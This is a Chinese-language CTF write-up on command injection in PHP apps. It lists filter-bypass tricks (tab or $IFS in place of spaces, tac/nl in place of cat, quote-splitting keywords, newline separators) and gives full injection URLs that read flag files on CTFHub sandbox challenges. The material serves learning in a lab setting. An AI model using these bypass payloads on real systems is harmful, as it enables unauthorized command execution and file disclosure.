前言
这里整理了一下基础题常用的过滤替代后续等深入学习时会再大幅不冲.
入门的话推荐ctfhub命令执行,上面有基础题适合小白入门比如还没入门的我wuwu…
当应用需要调用一些外部程序去处理内容时,会用到一些执行系统命令的函数。
如php中的system、exec、shell_exec等
当用户可以控制命令执行函数中的参数时,将可以注入 恶意系统命令到正常命令中,造成命令执行攻击
调用这些函数执行系统命令时,如果将用户的输入作为系统命令的参数拼接到命令行中,有没有过滤用户输入的情况下,就会造成命令执行漏洞(这句很好直接搬)
一、知识要点
空格过滤替换品(常用为以下几个)
- %09(Tab键)
- I F S , IFS, IFS,IFS 9 , 9, 9,{IFS},$IFS
- < <> 重定向符
cat过滤替换品
- more:一页一页的显示内容(linux环境下文本内容太多可以分页显示
- less:与 more 类似
- tac:从最后一行开始显示,tac 是 cat 的反向显示
- nl:显示的时候,顺便输出行号
让命令得到回显用分割符
; //分号 | //只执行后面那条命令 || //只执行前面那条命令 & //两条命令都会执行 && //两条命令都会执行
命令执行函数(system和passthru函数会得到回显 其他要echo来得到输出
-
system():同 C 版本的 system() 函数一样, 本函数执行 command 参数所指定的命令, 并且输出执行结果。
-
passthru():只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。
-
exec():不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
shell_exec():是PHP中的一个内置函数,用于通过shell执行命令并以字符串的形式返回完整的输出。 -
反引号 同shell_exec()
二、举栗子
1.CTFHub 技能树 综合过滤
可以看到这里有一大串过滤 ~烦!!!😦
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m))
常规思路传个ip:
?ip=127.0.0.1%0als
Array (
[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
[1] => flag_is_here
[2] => index.php )
可以看到flag字眼,用命令cd flag_is_here进入目录用%0a代替;用%09代替空格这里太多种了随便给出几种
?ip=127.0.0.1%0acd%09fl''ag_is_here%0als
?ip=127.0.0.1%0acd$IFSfl''ag_is_here%0als
?ip=127.0.0.1%0acd${IFS}fl''ag_is_here%0als
?ip=127.0.0.1%0acd${IFS}fl''ag_is_here%0als
结果为
看到有两个flag文件进入flag可以用cd%09fla*查看内容
http://challenge-1c380915c8009f61.sandbox.ctfhub.com:10080/?ip=127.0.0.1%0acd$>fl''ag_is_here%0als
然后就得到flag就行
http://challenge-1c380915c8009f61.sandbox.ctfhub.com:10080/?ip=127.0.0.1%0acd%09fl''ag_is_here%0aca''t%09fl''ag_17391581825778.php
查看源代码得到flag
2.CTFHub 第一题
附上一道简单题
http://challenge-4d715212e9f37db2.sandbox.ctfhub.com:10080/?ip=1;ls
一看flag就在那一串数字里面 继续构造
查看源码得到flag 没有什么过滤最简单了:)
http://challenge-4d715212e9f37db2.sandbox.ctfhub.com:10080/?ip=1;cat 225432635120642.php